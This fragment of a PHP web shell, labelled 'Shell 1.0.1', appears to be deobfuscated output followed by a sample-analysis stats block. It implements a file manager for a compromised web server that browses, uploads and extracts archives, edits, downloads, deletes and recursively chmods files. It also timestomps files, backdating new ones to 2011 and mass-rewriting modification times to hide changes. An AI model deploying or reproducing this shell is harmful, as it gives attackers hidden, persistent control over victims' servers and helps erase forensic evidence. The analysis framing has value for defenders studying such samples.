ho "<table border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=100% class='mytable'><form method='post'>\n";$ff="";$gg="";$hh="0";$j=iconv("UTF-8","GBK",$j);$ii=opendir($j);$jj=1;$kk=1;if($j){$_SESSION['folder']=$l;}while($ll=readdir($ii)){$m
m=$j;$nn=$ll;if($g!=='windows'):$oo="<td>".translatePermi(fileperms($mm.$nn))."</td>";else:$oo='';endif;if($ll!=="."&&$ll!==".."){if(is_dir($j.$ll)){$ll=iconv("GBK","UTF-8",$ll);$j=iconv("GBK","UTF-8",$j);$pp=@filectime($j.$ll);$qq=($pp>14200452
61)?'style="color:red;"':'';$rr=@filemtime($j.$ll);$ss=($rr>1420045261)?'style="color:red;"':'';$ff[$jj]="<tr width=100% ><td><input name='select_item[d][$ll]' type='checkbox' id='$ll' onclick='One($ll)' class=\"checkbox\" value='".$j.$ll."' /><
/td>\n"."<td><a href=\"".$p."?op=home&folder=".$j.$ll."/\">[".$ll."]</a></td>\n"."<td ".$ss.">".date("Y-m-d H:i:s",$rr)."</td>\n"."<td ".$qq.">".date("Y-m-d H:i:s",$pp)."</td>\n"."<td></td>\n"."<td><a href=\"".$p."?op=home&folder=".htmlspe
cialchars($j.$ll)."/\"></a></td>\n"."<td><a href=\"".$p."?op=ren&file=".htmlspecialchars($ll)."&folder=$j\"></a></td>\n"."<td> </td>\n".$oo."</tr>\n";$jj++;$j=iconv("UTF-8","GBK",$j);}else{$k=explode('.',$j.$ll);$k=end($k);$ll=@iconv("
GBK","UTF-8",$ll);$j=@iconv("GBK","UTF-8",$j);$tt="/".str_replace($_SERVER["DOCUMENT_ROOT"],"",$j.$ll);$tt=str_replace("//","/",$tt);$pp=@filectime($l.$nn);$rr=@filemtime($l.$nn);$qq=($pp>1420045261)?'style="color:red;"':'';$ss=($rr>1420045261)?
'style="color:red;"':'';$gg[$kk]="<tr width=100%><td><input name='select_item[f][$ll]' type='checkbox' id='$ll' class=\"checkbox\" value='".$j.$ll."' /></td>\n"."<td><a href=\"".$tt."\" target='_blank'>".$ll."</a></td>\n"."<td ".$ss.">".date("Y-
m-d H:i:s",$rr)."</td>\n"."<td ".$qq.">".date("Y-m-d H:i:s",$pp)."</td>\n"."<td>".Size(filesize($l.$nn))."</td>"."<td><a href=\"".$p."?op=edit&fename=".htmlspecialchars($ll)."&folder=$j\"></a></td>\n"."<td><a href=\"".$p."?op=ren&file=".html
specialchars($ll)."&folder=$j\"></a></td>\n"."<td><a href=\"".$p."?op=download&fename=".htmlspecialchars($ll)."&folder=$j\"></a></td>\n".$oo."</tr>\n";$kk++;$j=iconv("UTF-8","GBK",$j);}$hh++;}}closedir($ii);$uu=explode('/',$l);array_po
p($uu);$vv='';$ww=array();echo '<div class="title">';foreach($uu as $xx){$vv=$vv.$xx.'/';$ww[]=$vv;echo '<a href="'.$p.'?op=home&folder='.$vv.'">'.$xx.'</a> >> ';}echo "\n"."<span class='right' style='padding-right: 30px;'> ".$hh."
".date('Y-m-d H:i:s')."</span></div>"."<div style=\"position:fixed;bottom:0;margin-left:3px;\"><input type=\"checkbox\" id=\"check\" onclick=\"Check()\"> <input type=\"text\" class=\"text\" stlye=\"vertical-align:text-top;\" size=
\"17\" id=\"newTime\" name=\"newTime\" value=\"2012-06-12 14:20:30\"> <input class='button' name='action' type='submit' value='' /> <input class='button' name='action' type='submit' onclick=\"return confirm('?')\"
value='' /> <input type=\"text\" class=\"text\" stlye=\"vertical-align:text-top;\" size=\"3\" id=\"chmod\" name=\"chmod\" value=\"0755\"> <input class='button' name='action' type='submit' onclick=\"var t=document.getElementById('chmod').val
ue;return confirm(''+t+'')\" value='' /></div>";if($g!=='windows'):$oo="<th width='69px'></th>\n";else:$oo='';endif;echo "<tr class='headtable' width=100%>"."<script>functio
n Check() {
var collid = document.getElementById(\"check\")
var coll = document.getElementsByTagName('input')
if (collid.checked){
for(var i = 0; i < coll.length; i++)
coll[i].checked = true;
}else{
for(var i = 0; i < coll.length; i++)
coll[i].checked = false;
}
}</script>"."<th width=20></th>\n"."<th></th>\n"."<th width='165px'></th>\n"."<th width='165px'></th>\n"."<th width='65px'></th>\n"."<th width='45px'></th>\n"."<th width='55px'></th>\n"."<th width='40
px'></th>\n".$oo."</tr>";if($l!=="./"){$hh=substr_count($l,"/");$yy=explode('/',$l);$zz=1;$bb=".";while($zz<$hh-1){$bb=$bb."/".$yy[$zz];$zz++;}if($g=='windows'):$oo="";else:$oo="<td></td>";endif;if(count($ww)>2){echo "<tr width=100%><td></td
><td><a href=\"".$p."?op=home&folder=".$ww[count($ww)-2]."\"></a></td><td></td><td></td><td></td><td></td>$oo</tr>";}else{echo "<tr width=100%><td></td><td><a href=\"".$p."?op=home&folder=".$ww[0]."\"></a></td><td></td><td></td><
td></td><td></td>$oo</tr>";}}for($jj=1;$jj<count($ff)+1;$jj++){if(empty($ff)){}else{echo@$ff[$jj];}}for($kk=1;$kk<count($gg)+1;$kk++){echo@$gg[$kk];}echo "</table></form>";mainbottom();}function Size($aaa){if($aaa<1024){$bbb=$aaa."b";}elseif($aa
a>1024and $aaa<1024*1024){$ccc=round($aaa/1024,1);$bbb=$ccc."k";}elseif($aaa>1024*1024and $aaa<1024*1024*1024){$ccc=round($aaa/1024/1024,1);$bbb=$ccc."M";}elseif($aaa>1024*1024*1024and $aaa<1024*1024*1024*1024){$ccc=round($aaa/1024/1024/1024,1);
$bbb=$ccc."G";}elseif($aaa>1024*1024*1024*1024){$ccc=round($aaa/1024/1024/1024/1024,1);$bbb=$ccc."T";}return $bbb;}function up(){global $p,$j,$ddd,$c;maintop("");echo "<FORM ENCTYPE=\"multipart/form-data\" ACTION=\"".$p."?op=upload\" METHOD=
\"POST\">\n"."<div class=\"title\"></div><div class=\"box\">".ini_get('upload_max_filesize')."".ini_get('max_file_uploads')."<br><input type=\"File\" name=\"upfile[]\" multiple si
ze=\"20\">\n"."<input type=\"text\" name=\"ndir\" value=\"".$_SESSION["folder"]."\" class=\"upload\">\n";echo $ddd."</select></div>"."<div><input hidden=\"true\" type=\"checkbox\" name=\"unzip\" id=\"unzip\" value=\"checkbox\" onclick=\"UpCheck(
)\"> "."<input hidden=\"true\" type=\"checkbox\" name=\"delzip\" id=\"deluzip\"value=\"checkbox\"><label for=\"deluzip\"></labal> "."<input type=\"submit\" value=\"\" class=\"left button\"></div><br><br><br>\n"."<script>function UpCheck(){if
(document.getElementById(\"unzip\").checked){document.getElementById(\"deluzip\").disabled=false}else{document.getElementById(\"deluzip\").disabled=true}}</script>"."</form>\n";mainbottom();}function upload($eee,$fff,$ggg,$hhh){global $p,$j;if(e
mpty($fff)){$fff="./";}$iii=$j;$jjj=$fff;$fff=iconv("UTF-8","GBK",$fff);if(!$eee){printerror("");exit;}elseif($eee){maintop("");if(!file_exists($fff)){mkdir($fff,0755);}$zz=1;echo '<div class="box">';while(count($eee['name'])
>=$zz){$kkk=iconv("UTF-8","GBK",$jjj.$eee['name'][$zz-1]);if(@copy($eee['tmp_name'][$zz-1],$kkk)){echo " ".$jjj.$eee['name'][$zz-1]." \n<br>";$lll=explode('.',$eee['name'][$zz-1]);if((end($lll)=="zip"||end($lll)=="tar"||end($lll)=="t
ar.gz"||end($lll)=="gzip"||end($lll)=="gz")&&isset($ggg)&&$ggg=="checkbox"){if(class_exists('ZipArchive')){$mmm=new ZipArchive();if($mmm->open($kkk)===TRUE){if($mmm->extractTo($fff)){for($zz=0;$zz<$mmm->numFiles;$zz++){echo $mmm->getNameIndex($z
z).'<br>';}$mmm->close();}echo $eee['name'][$zz-1]." $jjj<br>";if(isset($hhh)&&$hhh=="checkbox"){if(unlink($kkk.$eee['name'][$zz-1])){echo $eee['name'][$zz-1]." <br>";}else{echo $eee['name'][$zz-1].("<span class=\"error\">
</span><br>");}}}else{echo("<span class=\"error\">".$jjj.$eee['name'][$zz-1]."</span><br>");}}else{echo("<span class=\"error\">PHPZipArchive</span><br>");}}}else{echo("<span class=\"error\"
> ".$eee['name'][$zz-1]." </span><br>");}$zz++;}echo " <a href=\"".$p."?op=home&folder=".$fff."\"></a> <a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\"></a> <a href=\""
.$p."?op=up\"></a>\n";echo '</div>';mainbottom();}else{printerror("");}}function deltree($nnn){if(is_empty_dir($nnn)){rmdir($nnn);}else{$ooo=dir($nnn);while($jj=$ooo->read()){if(is_file($nnn.'/'.$jj)&&($jj!='.')&&($jj
!='..')){unlink($nnn.'/'.$jj);}if(is_dir($nnn.'/'.$jj)&&($jj!='.')&&($jj!='..')){if(!is_empty_dir($nnn.'/'.$jj)){deltree($nnn.'/'.$jj);}if(is_empty_dir($nnn.'/'.$jj)){rmdir($nnn.'/'.$jj);}}}$ooo->close();}}function is_empty_dir($nnn){$ooo=opendi
r($nnn);$zz=0;while($jj=readdir($ooo)){$zz++;}closedir($ooo);if($zz>2){return false;}else return true;}function edit($ppp){global $p,$j;$qqq=iconv("UTF-8","GBK",$j.$ppp);if(file_exists($j.$ppp)){maintop("");echo "<div class=\"title\">
".$j.$ppp."</div>";$rrr=file_get_contents($qqq);if(function_exists('mb_detect_encoding')){$sss=mb_detect_encoding($rrr);}else{$sss='UTF-8';}if($sss!=="UTF-8"&&!empty($sss)){$rrr=iconv("UTF-8",$sss."//IGNORE",$rrr);}echo "<form action=\"".$p."
?op=save&encode=".$sss."\" method=\"post\">\n"."<textarea rows=\"24\" name=\"ncontent\">";echo htmlspecialchars($rrr);echo "</textarea>"."<br>\n"."<input type=\"hidden\" name=\"folder\" value=\"".$j."\">\n"."<input type=\"hidden\" name=\"fename\
" value=\"".$ppp."\">\n"."<input type=\"submit\" value=\"\" class=\"left button\">\n"."</form>\n";mainbottom();}else{home();}}function save($ttt,$ppp,$sss){global $p,$j;if(!$ppp==""){maintop("");$qqq=iconv("UTF-8","GBK",$j.$ppp);$uuu=htm
lspecialchars_decode($ttt);if($sss!=="UTF-8"&&$sss!=="ASCII"){$uuu=iconv($sss."//IGNORE","UTF-8",$uuu);}if(file_put_contents($qqq,$uuu)){echo "<div class='box'> <a href=\"".$j.$ppp."\" target=\"_blank\">".$j.$ppp."</a> \n"."
<a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\"></a> <a href=\"".$p."?op=edit&fename=".$ppp."&folder=".$j."\"></a></div>\n";$vvv=null;}else{echo "<span class='error'></span>\n"." <a href=\
"".$p."?op=home&folder=".$_SESSION['folder']."\"></a>\n";}mainbottom();}else{home();}}function cr(){global $p,$j,$ddd,$c;maintop("");if(!$ddd==""){echo "\n";}echo "<form action=\"".$p."?op=create\" method=\"
post\">\n"."<div class='title'>/</div><div class='box'><label for=\"nfname\"></label><br><input style=\"width:98%\" type=\"text\" size=\"20\" id=\"nfname\" name=\"nfname\" class=\"text\"><br>\n"."<label for=\"ndir\">
</label><br><input style=\"width:98%\" type=\"text\" class=\"text\" id=\"ndir\" name=\"ndir\" value=\"".$_SESSION['folder']."\">";echo "<br><select name=\"isfolder\" style=\"height:30px;padding:3px;\"><option value=\"0\"></option>\n"."<o
ption value=\"1\"></option></select>\n"."</div><input type=\"hidden\" name=\"folder\" value=\"$j\">\n"."<input type=\"submit\" value=\"\" class=\"left button\">\n"."</form>\n";mainbottom();}function create($www,$xxx,$fff){global $p,$j;
$yyy=date('Y-m-d H:i:s',mktime(9,12,31,6,10,2011));$zzz=strtotime($yyy);if(!$www==""){maintop("");echo '<div class="box">';$fff=iconv("UTF-8","GBK",$fff);$www=iconv("UTF-8","GBK",$www);if($xxx==1){if(@mkdir($fff."/".$www,0755)){$fff=iconv("G
BK","UTF-8",$fff);$www=iconv("GBK","UTF-8",$www);@touch($fff."/".$www,$zzz,$zzz);echo "<a href=\"".$p."?op=home&folder=./".$www."/\">".$fff.$www."/</a> \n"." <a href=\"".$p."?op=home&folder=".$fff.$www."/\">
</a> <a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\"></a>\n";}else{$fff=iconv("GBK","UTF-8",$fff);$www=iconv("GBK","UTF-8",$www);echo "<span class='error'>".$fff."".$www."
</span> <a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\"></a>\n";}}else{if(@fopen($fff."/".$www,"w")){$fff=iconv("GBK","UTF-8",$fff);$www=iconv("GBK","UTF-8",$www);@touch($
fff."/".$www,$zzz,$zzz);echo ", <a href=\"".$p."?op=viewframe&file=".$www."&folder=$fff\">".$fff.$www."</a> \n"."<br><a href=\"".$p."?op=edit&fename=".$www."&folder=".$fff."\"></a> <a href=\"".$p."?op=home&fo
lder=".$_SESSION['folder']."\"></a>\n";}else{$fff=iconv("GBK","UTF-8",$fff);$www=iconv("GBK","UTF-8",$www);echo "<span class='error'> ".$fff.$www."
</span> <a onclick=\"history.go(-1);\" style=\"cursor:pointer\"></a>\n";}}echo "</box>";mainbottom();}else{cr();}}function ren($qqq){global $p,$j,$l;$aaaa=$qqq;if(!$qqq==""){maintop("");echo "<form action=\"".$p."?op=rename\"
method=\"post\">\n"."<div class=\"title\"> ".$l.$aaaa.'</div>';echo "<div class=\"box\"><input type=\"hidden\" name=\"rename\" value=\"".$aaaa."\">\n"."<input type=\"hidden\" name=\"folder\" value=\"".$l."\">\n"."<input class=\"
text\" type=\"text\" size=\"20\" name=\"nrename\" value=\"$aaaa\"></div>\n"."<input type=\"Submit\" value=\"\" class=\"right button\"></form>\n";mainbottom();}else{home();}}function renam($bbbb,$cccc,$j){global $p,$j;if(!$bbbb==""){$dddd=i
conv("UTF-8","GBK","$j".$bbbb);$eeee=iconv("UTF-8","GBK","$j".$cccc);if(rename($dddd,$eeee)){maintop("");echo "<div class='box'> ".$j.$bbbb." ".$j.$cccc."</a>\n"." <a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\">
</a></div>\n";mainbottom();}else{printerror("");}}else{home();}}function fileDownload($ppp){global $j;$qqq=iconv("UTF-8","GBK",htmlspecialchars_decode($j.$ppp));if(file_exists($qqq)){if(@is_file($qqq)&&@is_readabl
e($qqq)){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=".basename($qqq));header("Content-Type: application/octet-stream");$vvv=@fopen($qqq,"r");if($vvv){while(!@feof($vvv))echo@fread($vvv,1024);fclose($vvv);}}ex
it;}}function mainbottom(){echo "</div><div style='text-align:center;font-size:13px;color:#999 !important;margin-top:5px;margin-bottom:45px'>"."Shell 1.0.1</div></body>\n"."</html>\n";exit;}function printerror($ffff){maintop("");echo "<div c
lass='title'></div><div class='box'><span class='error'>\n".$ffff."\n</span> <a onclick=\"history.go(-1);\" style=\"cursor:pointer\"></a></div>";}function deleteall($gggg){if(!$gggg==""){$hhhh=$gggg;$gggg=iconv("UTF-8","G
BK",$gggg);if(is_dir($gggg)){if(is_empty_dir($gggg)){rmdir($gggg);echo "<span>".$hhhh." </span><br>";}else{deltree($gggg);rmdir($gggg);echo "<span>".$hhhh." </span><br>";}}else{if(@unlink($gggg)){echo '<span>'.$hhhh."
</span><br>";}else{echo("<span class='error'>$hhhh </span><br>");}}}}if(@$_POST['action']==''){if(isset($_POST['select_item'])){maintop("");echo '<div class="box">';if(@$_POST['select_item']['d']){fo
reach($_POST['select_item']['d']as $iiii){deleteall($iiii);}}if(@$_POST['select_item']['f']){foreach($_POST['select_item']['f']as $iiii){if(deleteall($iiii)){}}}echo "<a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\">
</a>\n";echo '</div>';mainbottom();}else{printerror("");}}if(@$_POST['action']==''){if(isset($_POST['select_item'])){maintop("");echo '<div class="box">';$jjjj=@strtotime($_REQUEST['newTime']);function changeTime($q
qq,$jjjj){touch($qqq,$jjjj,$jjjj);}if(@$_POST['select_item']['d']){foreach($_POST['select_item']['d']as $iiii){$www=iconv("UTF-8","GBK",$iiii);changeTime($www,$jjjj);}}if(@$_POST['select_item']['f']){foreach($_POST['select_item']['f']as $iiii){$
www=iconv("UTF-8","GBK",$iiii);changeTime($www,$jjjj);}}echo "<a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\">,</a>\n";echo "</div>";mainbottom();}else{printerror("");}}if($g!=='windows'):if(@$
_POST['action']==''){if(isset($_POST['select_item'])){maintop("");echo '<div class="box">';$kkkk=octdec($_REQUEST['chmod']);function ChmodMine($qqq,$kkkk){$llll=$qqq;$qqq=iconv("UTF-8","GBK",$qqq);if(is_file($qqq)){if(@chmod($qqq,$kk
kk)){echo $llll.' <br>';}else{echo '<span class="error">'.$llll.' </span><br>';}}elseif(is_dir($qqq)){if(@chmod($qqq,$kkkk)){echo $llll.' <br>';}else{echo '<span class="error">'.$llll.' </span><br>
';}$mmmm=@scandir($qqq);$nnnn=@array_slice($mmmm,2);foreach($nnnn as $oooo){$pppp=iconv("GBK","UTF-8",$oooo);ChmodMine($llll.'/'.$pppp,$kkkk);}}else{echo '<span class="error">'.$llll.' </span><br>';}}if(@$_POST['select_item']['d']){f
oreach($_POST['select_item']['d']as $iiii){ChmodMine($iiii,$kkkk);}}if(@$_POST['select_item']['f']){foreach($_POST['select_item']['f']as $iiii){ChmodMine($iiii,$kkkk);}}echo "<a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\">
</a>\n";echo "</div>";mainbottom();}else{printerror("");}}endif;switch($h){case "home":home();break;case "up":up();break;case "upload":if(!isset($_FILES['upfile'])){printerror('');}elseif(isset($_REQUEST[
'ndir'])){upload($_FILES['upfile'],$_REQUEST['ndir'],@$_REQUEST['unzip'],@$_REQUEST['delzip']);}else{upload($_FILES['upfile'],'./',@$_REQUEST['unzip'],@$_REQUEST['delzip']);}break;case "edit":edit($_REQUEST['fename']);break;case "save":save($_
REQUEST['ncontent'],$_REQUEST['fename'],$_REQUEST['encode']);break;case "cr":cr();break;case "download":fileDownload($_REQUEST['fename']);break;case "create":create($_REQUEST['nfname'],$_REQUEST['isfolder'],$_REQUEST['ndir']);break;case "ren
":ren($_REQUEST['file']);break;case "rename":renam($_REQUEST['rename'],$_REQUEST['nrename'],$j);break;case "printerror":printerror($ffff);break;default:home();break;}?>
Function Calls
| None |
Stats
| MD5 | b91326751f5118fe0cc1520e80602b5b |
| Eval Count | 0 |
| Decode Time | 90 ms |